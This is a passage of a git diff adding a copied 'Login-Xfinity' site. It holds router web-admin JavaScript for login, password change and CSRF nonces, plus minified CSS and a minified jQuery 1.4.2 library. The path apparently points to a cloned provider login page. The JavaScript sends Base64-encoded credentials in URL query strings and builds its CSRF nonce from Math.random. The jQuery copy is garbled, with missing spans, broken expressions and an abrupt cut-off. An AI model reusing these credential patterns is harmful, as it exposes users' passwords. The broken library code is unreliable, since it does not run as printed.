(result) { + rv = result; + // _.each(_.keys(rv), function(k) { + // var dv = encodeHack(rv[k]); + // rv[k] = dv; + // }); + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = textStatus;//"unauthorized"; + }, + dataType:"text", + async:false, + cache:false + + }); + //$.log(rv); + if (window.console) console.log(rv); + rv = hooks.postProcess(rv); + return rv; + } catch (e) { + //$.log("snmpWalk caught " + e); + if (window.console) console.log("snmpWalk caught " + e); + return { }; + } +} + +function login(name, password) { + var up = Base64.encode(name + ":" + password); + var limit_flag = false; + attrs["Credential"] = ""; + if (window.console) console.log("create credential=" + up); + eraseCookie("credential");setSessionStorage("ar_nonce",""); + baseAjax({ + url:"login?arg=" + up, + success:function (result) + { + if( result == CAN_NOT_SET_CRED ) + { + limit_flag = true; + } + else + { + createCookie("credential", result); + } + }, + dataType:"text", + async:false, + cache:false + }); + if( limit_flag == true ) + { + return CAN_NOT_SET_CRED; + } + return isLoggedIn(); +} + + +function logout(sendMsg) { + attrs["Credential"] = ""; + eraseCookie("credential"); + setSessionStorage("ar_nonce",""); + if (sendMsg) { + baseAjax({ + url:"logout", + dataType:"text", + async:false, + cache:false + }); + } + refresh(); +} +function changePassword( name ,OldPassword, NewPassword ) { + var cred = Base64.encode( name + ":" + OldPassword + ":" + NewPassword ); + var rv = ""; + baseAjax({ + url:"setPassword?arg=" + cred, + success:function (result) { + rv = result; + }, + dataType:"text", + async:false, + cache:false + }); + var ok = rv === "ok" || rv === "true"; + + // if (ok) { + // logout(); + // login(loginData.name, NewPassword); + // } + + return ok; +} + +function logfilestore(logtype, idxStr) { + + baseAjax({ + url:"storelog?arg=" + logtype + idxStr, + dataType:"text", + async:false, + cache:false + }); + + if (window.console) console.log("storelog"); +} + +function checkPassword(name, password ) { + var up = Base64.encode(name + ":" + password ); + var ret = ""; + baseAjax({ + url:"checkPassword?arg=" + up, + success:function (result) { + ret = result; + }, + dataType:"text", + async:false, + cache:false + }); + + if( ret == "true" ) + { + return true; + } + else + { + return false; + } +} + +//BEGIN PROD00219791 CSRF issue. +function getNonce() { + var n = getSessionStorage("ar_nonce"); + if (!n) { + n = "_n="+(""+Math.random()).substr(2,5); + setSessionStorage("ar_nonce", n); + } + return n; +} + +function wrapNonce(url){ + if (!url) return url; + var startChar = url.indexOf('?') === -1 ? '?' : '&'; + url += startChar + getNonce(); + return url; +} +// Notice that all new added function that call jQuery.ajax, should use baseAjax to instead it. +function baseAjax(options){ + options.url = wrapNonce(options.url); + jQuery.ajax(options); +} +// END PROD00219791 CSRF issue. + + diff --git a/Sites/Login-Xfinity/Xfinity_files/common-min.css b/Sites/Login-Xfinity/Xfinity_files/common-min.css new file mode 100644 index 0000000..b71210d --- /dev/null +++ b/Sites/Login-Xfinity/Xfinity_files/common-min.css @@ -0,0 +1,32 @@ +html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,font,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td{border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;margin:0;padding:0;}body{line-height:1;}ol,ul{list-style:none;}blockquote,q{quotes:none;}blockquote:before,blockquote:after,q:before,q:after{content:none;}:focus{outline:0;}ins{text-decoration:none;}del{text-decoration:line-through;}table{border-collapse:collapse;border-spacing:0;}body{background-color:#5d666a;color:#5d666a;font:.8em Arial,Helvetica,sans-serif;}td,th{font:.8em Arial,Helvetica,sans-serif;vertical-align:middle;}a:link,a:visited{color:#39baf1;}a:hover,a:active{color:#000;text-decoration:none;}h1{font-size:2.2em;}#content h1{margin-left:10px;}h2{font-size:1.1em;font-weight:bold;}h3{font-size:1.2em;font-weight:bold;padding:8px;}p{line-height:1.4em;margin:.5em 0;}small{font-size:.8em;}#container{background-color:#f1f1f1;width:960px;margin:0 auto;}#footer{background:#39baf1;clear:both;color:#fff;text-align:center;padding:12px 0;margin-top:50px;overflow:hidden;}#main-content{clear:both;display:block;overflow:hidden;padding:0 20px 20px;}#content{float:left;width:716px;}#header{padding:13px 24px 0;background-color:#fff;height:75px;margin-bottom:-70px;}#logo,#logo a,#logo span{display:block;position:relative;height:30px;line-height:30px;width:92px;z-index:5;}#logo{text-indent:3px;margin-top:20px;position:absolute;}#logo span{position:absolute;z-index:15;background:url(../img/logo_xfinity.png) no-repeat 0 0;height:100%;left:0;top:0;width:100%;}.first-child{list-style:none!important;margin-left:0!important;}#footer-links{width:350px;margin:0 auto;overflow:hidden;}#footer-links li{float:left;line-height:28px;list-style:disc outside;color:#fff;margin-left:22px;font-size:1.3em;}#footer-links li a{color:#fff;text-decoration:none;}#sub-header{clear:both;height:30px;margin:0 -20px 20px;padding:20px;position:relative;width:920px;}h1{font-size:2em;padding-bottom:20px;}#userToolbar{position:absolute;right:20px;top:7px;}#userToolbar li{float:left;line-height:28px;list-style:disc;margin-left:25px;}#userToolbar .user{font-weight:bold;}#userToolbar .toolbar a{text-decoration:none;}#status{position:absolute;right:20px;top:36px;}#status li{float:left;line-height:19px;margin:0 0 0 10px;font-weight:bold;font-size:1.1em;padding-bottom:15px;position:relative;}#status li .tooltip{background-color:#fff;color:#838c91;display:none;right:-15px;padding:15px;position:absolute;top:25px;width:165px;z-index:999;-moz-box-shadow:0 0 12px 0 #e0e0e0;-webkit-box-shadow:0 0 12px #e0e0e0;}.on-off{background:#fff url(../img/icn_on_off.png) no-repeat 0 0;display:block;float:left;margin:2px 5px 0 3px;height:14px;width:15px;text-indent:-9999px;}.off .on-off{background-position:0 -26px;}.off .on-off{background-position:0 -26px;}.alert .on-off{background-position:0 -52px;}#status .battery span{background:url(../img/icn_battery.png) no-repeat 0 0;height:19px;width:9px;display:block;float:left;margin:-1px 5px 0 3px;text-indent:-9999px;}#status .battery .bat-100{background-position:0 0;}#status .battery .bat-75{background-position:0 -19px;}#status .battery .bat-50{background-position:0 -38px;}#status .battery .bat-25{background-position:0 -57px;}#status .battery .bat-10{background-position:0 -76px;}#status .battery .bat-0{background-position:0 -95px;}#nav{float:left;margin:0 20px 20px 0;position:relative;width:182px;border-top:solid 1px #dadad8;}#nav>ul>li{border-bottom:solid 1px #dadad8;}#nav>ul>li>ul>li:last-child a{border-bottom:0;}#nav li a{border-bottom:dashed 1px #dadad8;color:#575f5f;display:block;font-weight:bold;padding:8px 10px 8px 20px;text-decoration:none;}#nav li li a{color:#788180;}#nav li a.selected,#nav li a:hover{color:#39baf1;}#nav li ul{display:none;}#nav li a{padding-left:10px;}#nav li li a{padding-left:20px;}#nav li li li a{padding-left:30px;}#nav li li a.folder{background:url(../img/arrows_nav.png) no-repeat 10px -2px;}#nav li li a.folder:hover{background-position:10px -74px;}#nav li li a.folder-open{background-position:10px -38px!important;}#nav li li a.folder-open:hover{background-position:10px -110px!important;}#nav li li li a.folder{background:url(../img/arrows_nav.png) no-repeat 20px -2px;}#nav li li li a.folder:hover{background-position:20px -74px;}#nav li li li a.folder-open{background-position:20px -38px!important;}#nav li li li a.folder-open:hover{background-position:20px -110px!important;}#nav a.top-level{border:none;font-size:1.2em;background:url(../img/arrows_nav.png) no-repeat 4px 1px;padding-left:15px;}#nav a.top-level-active{background-color:#838c91;color:#fff!important;background:#838c91 url(../img/arrows_nav.png) no-repeat 4px -179px;padding-left:15px;}#educational-tip{clear:both;background:#fafafa;color:#838c91;border:solid 8px #fff;-moz-box-shadow:0 0 12px 0 #e0e0e0;-webkit-box-shadow:0 0 12px #e0e0e0;margin:0 8px 15px;position:relative;}#educational-tip h2{color:#555;font-weight:normal;font-size:.8em;margin-bottom:12px;}#educational-tip .tip{font-weight:bold;color:#838c91;}#educational-tip p{padding:8px;margin:0;width:600px;}#educational-tip .hidden{display:none;}#educational-tip a.tip-more{font-size:.8em;position:absolute;top:3px;right:6px;}.module{background:#fff;width:684px;margin:8px;padding:8px;overflow:hidden;position:relative;-moz-box-shadow:0 0 12px 0 #e0e0e0;-webkit-box-shadow:0 0 12px #e0e0e0;position:relative;}.module h2{background:#39baf1;color:#fff;padding:10px;margin-bottom:8px;}.block{width:324px;min-height:136px;display:inline-block;vertical-align:top;}.ff2{width:324px;min-height:136px;display:-moz-inline-stack!important;overflow:visible!important;}.block div.ff2fix{width:334px;position:relative;clear:both;}#home-network h2{background:#f85f01;}#internet-usage h2{background:#f85f01;}#home-automation h2{background:#f85f01;margin-bottom:0;}#network-updates h2{background:#f85f01;margin-bottom:0;}#software h2{background:#f85f01;margin-bottom:0;}#internet-usage .chart{float:right;width:185px;height:48px;border:solid 2px #ccc;background:#f9f9f9;overflow:hidden;}#internet-usage .chart li{float:left;width:16px;height:48px;margin:0 5px;text-indent:-9999px;background-color:#39BAF1;-moz-box-shadow:0 0 5px 0 #999;-webkit-box-shadow:0 0 5px #999;}#network-updates #recent_network_updates{position:relative;}#network-updates #recent_network_updates select{position:absolute;top:-26px;right:15px;}#network-updates h3 .value{color:#ef4416;}#software td{width:50%;padding:5px 6px 3px;}.form-row{clear:both;overflow:hidden;padding:8px;}.form-row .on-off{margin-right:10px;}.form-btn{margin:8px;}.module .form-btn{margin:8px 0 0;padding-left:233px;}.module .btn-group{padding:15px 0 0;min-height:23px;} +.odd,.odd +.on-off +{ + background-color:#ededed; +} +.odd1 +{ + background-color:#ededed; +} +.form-row label,.form-row .setLabel,.form-row .readonlyLabel{font-weight:bold;font-size:inherit!important;}.forms label,.forms .setLabel,.forms .readonlyLabel{display:block;float:left;font-weight:bold;line-height:1.4em;margin:4px 5px 0 0;text-align:right;width:220px;}.forms .readonlyValue{display:block;float:left;line-height:1.4em;margin:4px 5px 0 0;}.block label,.block .setLabel,.block .readonlyLabel{width:125px;}.form-row .checkbox,.form-row .group,.forms .value{display:inline;float:left;margin:4px 0 0 4px;line-height:1.4em;font-weight:bold;}#restore .value{width:435px;}.form-row label.radio,.form-row label.checkbox{float:none;display:inline;margin-left:0;padding:0 5px 0 0;text-align:left;width:auto;}.form-row .text{border:solid 1px #cecece;padding:4px 5px;}.form-row input.smallInput{width:25px;}.form-row p.error{font-size:.9em;margin:0;padding:8px 8px 8px 225px;}.select-row{clear:both;overflow:hidden;padding:8px;}.select-row .readonlyLabel{float:left;margin-right:10px;line-height:28px;font-size:1.2em;font-weight:bold;color:#333;width:120px;text-align:right;}.select-row .label{width:auto!important;}.select-row .value{float:left;line-height:40px;}.footnote{padding:8px;font-size:.8em;}.forms .footnote{padding-left:225px;float:left;}.forms .summary{padding:8px;color:#000;font-weight:bold;}.forms .combo-group li{padding:4px 0;overflow:hidden;}.combo-group li{margin:10px 0;padding:10px 5px;color:#444;overflow:hidden;-moz-border-radius:4px;-webkit-border-radius:4px;}.combo-group li p{margin-left:25px;}.combo-group li .checkbox{margin-left:225px;}.combo-group li label,.combo-group .label{font-weight:bold;}.ext-optgroup label{color:#222;font-weight:bold;font-size:1.3em;}#notification.combo-group{overflow:hidden;margin-bottom:10px;}#notification.combo-group li{float:left;padding:0 20px 0 0;margin:0;}.error{color:#F00;}.disabled{color:#ccc!important;}p.more{margin:8px 8px 0;text-align:right;}table{border-collapse:collapse;clear:both;width:100%;background-color:#ededed;}table .on-off{background-color:#ededed;}table.odd,table .odd,table .odd th,table .odd td,table.odd .on-off{background-color:#fff!important;}table thead,table th{text-align:left;font-weight:bold;}table th{font-size:1em;padding:5px 6px 3px;}table td{font-size:1em;padding:3px 4px;}.data h2{margin-bottom:0;}table.data th{background:#39baf1;color:#fff;}table th.row-label{background-color:transparent;color:#444;width:20%;border:0;}.comcast-network th.row-label{text-align:right;}table th.alt{width:inherit!important;}#home-automation table td.value{width:20px;}table .delete,table .edit{text-align:right;width:40px;}table td.delete{text-align:center!important;}table td.save{width:110px;text-align:center!important;}table.data th,table.data td{padding:8px;}table.data td.delete{width:28px;}table.data .url,table.data .keyword,table.data .when,table.data .computer_name,table.data .ip{width:45%;}table.data .number{width:15px;}table#blocked-apps .apps,table#blocked-services .services{width:50%;}table#blocked-services .when{width:30%;}table#blocked-services .port{width:10%;}table.wireless .name,table.wireless .macaddress{width:50%;}table.wireless .channel,table.wireless .protocols,table.wireless .security{width:100px;}table#email_features,table#add_allowed_device,table#samba_permissions{clear:none;float:right;margin-right:-10px;width:452px;}table#samba_permissions th{width:50%;}table#trusted_computers .computer_name,table#trusted_computers .ip{width:200px;}table#trusted_computers .trusted{width:100px;}table#add_allowed_device td{vertical-align:top;}table#add_allowed_device div.error{font-size:.9em;margin:0;padding:8px 0;}.btn,a.btn{padding:3px 10px;background:#fff url(../img/btn_bg.png) repeat-x 0 -14px;color:#555;text-decoration:none;border:solid 1px #d0d0d0;cursor:pointer;outline:0;text-transform:uppercase;font-weight:bold;font-size:11px;}a.btn{padding:4px 10px;}.btn:hover,a.btn:hover{background:#fff url(../img/btn_bg.png) repeat-x 0 bottom;color:#ffe51e;outline:0;}.alt,a.alt{background:#999;color:#fff;}.form-btn input,.form-btn a{margin-right:15px;}.btn-group{padding:15px 0;}.button{position:absolute;top:11px;right:13px;}.ff2 .button{top:2px;right:10px;}.modal-overlay{position:fixed;top:0;left:0;height:100%;width:100%;background:#000;opacity:.4;}.modal-dialog{position:fixed;top:60px;left:50%;width:200px;margin-left:-120px;padding:20px;background:#fff;}.hidden{display:none;}#login{width:375px;}#login label{width:80px;}#login div.error{padding-left:8px;}#login p.error{padding-left:90px;}#login .text{width:240px;}#login .form-btn{text-align:right;margin:0 15px 10px;}#password .form-btn{padding-left:138px;}#computers-edit label,#computers-edit .readonlyLabel{width:300px;}#time_frame,#log_type{margin-right:30px;}.ui-helper-hidden{display:none;}.ui-helper-hidden-accessible{position:absolute;left:-99999999px;}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none;}.ui-helper-clearfix:after{content:".";display:block;height:0;clear:both;visibility:hidden;}.ui-helper-clearfix{display:inline-block;}/* required comment for clearfix to work in Opera \*/ * html .ui-helper-clearfix{height:1%;}.ui-helper-clearfix{display:block;}/* end clearfix */ .ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0);}.ui-state-disabled{cursor:default!important;}.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;}.ui-widget-overlay{position:absolute;top:0;left:0;width:100%;height:100%;}.ui-timepickr{position:absolute;width:480px;}.ui-timepickr-row{margin:0;padding:0;margin-top:2px;display:none;position:relative;}.ui-timepickr-button{float:left;margin:0;padding:0;list-style:none;list-style-type:none;}.ui-timepickr-button span{font-size:.7em;padding:4px 6px 4px 6px;margin-left:2px;text-align:center;cursor:pointer;display:block;text-align:center;font-weight:bold;border:solid 1px #222;-moz-border-radius:3px;-webkit-border-radius:3px;background:#444;color:#fff;}.ui-timepickr-button span.ui-state-hover{color:#000;background:#9CCD00;}#security-level li{margin:10px 0;padding:10px 5px;color:#444;-moz-border-radius:4px;-webkit-border-radius:4px;}#security-level .label{color:#222;font-weight:bold;font-size:1.3em;cursor:pointer;text-decoration:underline;}#security-level li p{margin-left:25px;}#security-level li dl{margin:10px 25px;}#security-level li dl dl{margin:0;}#security-level li dt{font-weight:bold;}#security-level li dd{margin:5px 25px;}#security-level li dd dd{margin:5px 0;}#security-level #max{background:#9ccd00;border:solid 5px #9ccd00;}#security-level #max:hover{border:solid 5px #759900;}#security-level #medium{background:#cde67f;border:solid 5px #cde67f;}#security-level #medium:hover{border:solid 5px #9eb362;}#security-level #low{background:#e1f0b2;border:solid 5px #e1f0b2;}#security-level #low:hover{border:solid 5px #a7b384;}#security-level #custom{background:#ebebeb;border:solid 5px #ebebeb;}#security-level #custom:hover{border:solid 5px #cecece;}#weekday{padding-left:230px;}#weekday input{margin-right:10px;}.select_all_none{font-size:.9em;margin-top:-20px;padding-left:233px;}.radio-btns li{display:inline;}.radio-btns label{display:inline;font-weight:normal;float:none;width:auto;}.radiolist{overflow:hidden;background:#9e9e9e;padding:3px 2px;float:left;}.radiolist li{float:left;margin:0 2px;width:40px;height:20px;position:relative;z-index:1;color:#888;border:solid 1px #eee;background:#eee url(../img/gradient.png) repeat-x 0 bottom;font-size:.9em;}.radiolist li label{display:block;text-align:center;line-height:20px;width:100%;height:20px;z-index:5;cursor:pointer;margin:0!important;}.radiolist li#off.selected,.radiolist li#off.selected label{background-color:#e6411a;color:#fff!important;text-shadow:0 1px 0 #9f0c00;}.radiolist li#off.selected{border:solid 1px #aa1f00;}.radiolist li.selected{background:#92c700;border:solid 1px #6da006;color:#fff;text-shadow:0 1px 1px #5a9007;}.radiolist li.selected label{font-weight:bold;}li.selected.percent-100,li.selected.percent-75,li.selected.percent-50,li.selected.percent-25{color:#444;border:solid 1px #666;text-shadow:0 1px 1px #fff!important;}li.selected.percent-100{background-color:#ffe61e;}li.selected.percent-75{background-color:#ffec56;}li.selected.percent-50{background-color:#fff28e;}li.selected.percent-25{background-color:#fff9c7;}.radiolist li input{display:none;}.radiolist li.selected a.radio-deselect{display:block!important;}.enable li,.scheduling li{width:60px;}#popup_container{min-width:300px;max-width:600px;background:#FFF;border:solid 8px #fff;color:#444;-moz-box-shadow:0 0 12px 0 #444;-webkit-box-shadow:0 0 12px #444;}#popup_title{background:#A46DD3;color:#fff;padding:10px;margin-bottom:8px;}#popup_message{font-size:1.1em;background-color:#ededed;padding:20px 10px;}#popup_panel{text-align:right;padding:8px 0 0;}#popup_panel input{margin-left:15px;}#media-library .tabs{overflow:hidden;background-color:#e0e0e0;height:24px;border:solid 4px #e0e0e0;border-bottom:0;}#media-library .tabs li{float:left;line-height:24px;font-size:.8em;}#media-library .tabs li a{padding:0 10px;border-right:solid 1px #cecece;color:#3e3e3e;font-weight:bold;text-decoration:none;}#media-library .tabs li.selected{background-color:#3e3e3e;color:#fff;}#media-library .tabs li.selected a{color:#fff;border-right:0;}#media-library .sub-tabs{background-color:#3e3e3e;color:#fff;overflow:hidden;}#media-library .sub-tabs li{float:left;line-height:28px;font-size:.8em;}#media-library .sub-tabs li a{padding:0 10px;color:#fff;font-weight:bold;text-decoration:none;}#media-library .sub-tabs li.selected a{color:#39BAF1;} + +#nav li li li a.dis_a { color:#DDDDDD; padding-left: 30px; } +#nav li li li a.dis_a:link { color:#DDDDDD; } +#nav li li li a.dis_a:visited { color:#DDDDDD; } +#nav li li li a.dis_a:hover { color:#DDDDDD; } + +#nav li li a.dis_a { color:#DDDDDD; } +#nav li li a.dis_a:link { color:#DDDDDD; } +#nav li li a.dis_a:visited { color:#DDDDDD; } +#nav li li a.dis_a:hover { color:#DDDDDD; } + +#nav a.dis-top-level{border:none;font-size:1.2em;background:url(../img/arrows_nav.png) no-repeat 4px 1px;padding-left:15px; color:#DDDDDD;} +#nav a.dis-top-level-active{background-color:#F1F1F1;color:#DDDDDD;!important;background:#838c91 url(../img/arrows_nav.png) no-repeat 4px -179px;padding-left:15px;} +#nav a.dis-top-level:link{color:#DDDDDD;} +#nav a.dis-top-level:visited{color:#DDDDDD;} +#nav a.dis-top-level:hover{color:#DDDDDD;} + +.btn_dis,a.btn_dis{padding:3px 10px;background:#fff url(../img/btn_bg.png) repeat-x 0 -14px;color:#ccc!important;text-decoration:none;border:solid 1px #d0d0d0;cursor: default;outline:0;text-transform:uppercase;font-weight:bold;font-size:11px;} +a.btn_dis{padding:4px 10px;} +.btn_dis:hover,a.btn_dis:hover{color:#ccc!important;outline:0;cursor: default;} + diff --git a/Sites/Login-Xfinity/Xfinity_files/common-min.js b/Sites/Login-Xfinity/Xfinity_files/common-min.js new file mode 100644 index 0000000..799fea0 --- /dev/null +++ b/Sites/Login-Xfinity/Xfinity_files/common-min.js @@ -0,0 +1,16 @@ +/*! + * jQuery JavaScript Library v1.4.2 + * http://jquery.com/ + * + * Copyright 2010, John Resig + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * Copyright 2010, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * + * Date: Sat Feb 13 22:33:48 2010 -0500 + */ +(function(A,w){function ma(){if(!c.isReady){try{s.documentElement.doScroll("left")}catch(a){setTimeout(ma,1);return}c.ready()}}function Qa(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,j){var i=a.length;if(typeof b==="object"){for(var o in b)X(a,o,b[o],f,e,d);return a}if(d!==w){f=!j&&f&&c.isFunction(d);for(o=0;o)[^>]*$|^#([\w-]+)$/,Ua=/^.[^:#\[\.,]*$/,Va=/\S/,Wa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Xa=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,P=navigator.userAgent,xa=false,Q=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,R=Array.prototype.slice,ya=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(a==="body"&&!b){this.context=s;this[0]=s.body;this.selector="body";this.length=1;return this}if(typeof a==="string")if((d=Ta.exec(a))&&(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:s;if(a=Xa.exec(a))if(c.isPlainObject(b)){a=[s.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=sa([d[1]],[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}return c.merge(this,a)}else{if(b=s.getElementById(d[2])){if(b.id!==d[2])return T.find(a);this.length=1;this[0]=b}this.context=s;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=s;a=s.getElementsByTagName(a);return c.merge(this,a)}else return!b||b.jquery?(b||T).find(a):c(b).find(a);else if(c.isFunction(a))return T.ready(a);if(a.selector!==w){this.selector=a.selector;this.context=a.context}return c.makeArray(a,this)},selector:"",jquery:"1.4.2",length:0,size:function(){return this.length},toArray:function(){return R.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){var f=c();c.isArray(a)?ba.apply(f,a):c.merge(f,a);f.prevObject=this;f.context=this.context;if(b==="find")f.selector=this.selector+(this.selector?" ":"")+d;else if(b)f.selector=this.selector+"."+b+"("+d+")";return f},each:function(a,b){return c.each(this,a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(s,c);else Q&&Q.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(R.apply(this,arguments),"slice",R.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,j,i,o;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b
a";var e=d.getElementsByTagName("*"),j=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!j)){c.support={leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(j.getAttribute("style")),hrefNormalized:j.getAttribute("href")==="/a",opacity:/^0.55$/.test(j.style.opacity),cssFloat:!!j.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:s.createElement("select").appendChild(s.createElement("option")).selected,parentNode:d.removeChild(d.appendChild(s.createElement("div"))).parentNode===null,deleteExpando:true,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};b.type="text/javascript";try{b.appendChild(s.createTextNode("window."+f+"=1;"))}catch(i){}a.insertBefore(b,a.firstChild);if(A[f]){c.support.scriptEval=true;delete A[f]}try{delete b.test}catch(o){c.support.deleteExpando=false}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function k(){c.support.noCloneEvent=false;d.detachEvent("onclick",k)});d.cloneNode(true).fireEvent("onclick")}d=s.createElement("div");d.innerHTML="";a=s.createDocumentFragment();a.appendChild(d.firstChild);c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var k=s.createElement("div");k.style.width=k.style.paddingLeft="1px";s.body.appendChild(k);c.boxModel=c.support.boxModel=k.offsetWidth===2;s.body.removeChild(k).style.display="none"});a=function(k){var n=s.createElement("div");k="on"+k;var r=k in n;if(!r){n.setAttribute(k,"return;");r=typeof n[k]==="function"}return r};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=j=null}})();c.props={"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ya=0,za={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var f=a[G],e=c.cache;if(!f&&typeof b==="string"&&d===w)return null;f||(f=++Ya);if(typeof b==="object"){a[G]=f;e[f]=c.extend(true,{},b)}else if(!e[f]){a[G]=f;e[f]={}}a=e[f];if(d!==w)a[b]=d;return typeof b==="string"?a[b]:a}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{if(c.support.deleteExpando)delete a[c.expando];else a.removeAttribute&&a.removeAttribute(c.expando);delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===w){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===w&&this.length)f=c.data(this[0],a);return f===w&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===w)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var Aa=/[\n\t]/g,ca=/\s+/,Za=/\r/g,$a=/href|src|style/,ab=/(button|input)/i,bb=/(button|input|object|select|textarea)/i,cb=/^(a|area)$/i,Ba=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(n){var r=c(this);r.addClass(a.call(this,n,r.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d-1)return true;return false},val:function(a){if(a===w){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var j=b?d:0;for(d=b?d+1:e.length;j=0;else if(c.nodeName(this,"select")){var u=c.makeArray(r);c("option",this).each(function(){this.selected=c.inArray(c(this).val(),u)>=0});if(!u.length)this.selectedIndex=-1}else this.value=r}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return w;if(f&&b in c.attrFn)return c(a)[b](d);f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==w;b=f&&c.props[b]||b;if(a.nodeType===1){var j=$a.test(b);if(b in a&&f&&!j){if(e){b==="type"&&ab.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:bb.test(a.nodeName)||cb.test(a.nodeName)&&a.href?0:w;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&j?a.getAttribute(b,2):a.getAttribute(b);return a===null?w:a}return c.style(a,b,d)}});var O=/\.(.*)$/,db=function(a){return a.replace(/[^\w\s\.\|`]/g,function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==A&&!a.frameElement)a=A;var e,j;if(d.handler){e=d;d=e.handler}if(!d.guid)d.guid=c.guid++;if(j=c.data(a)){var 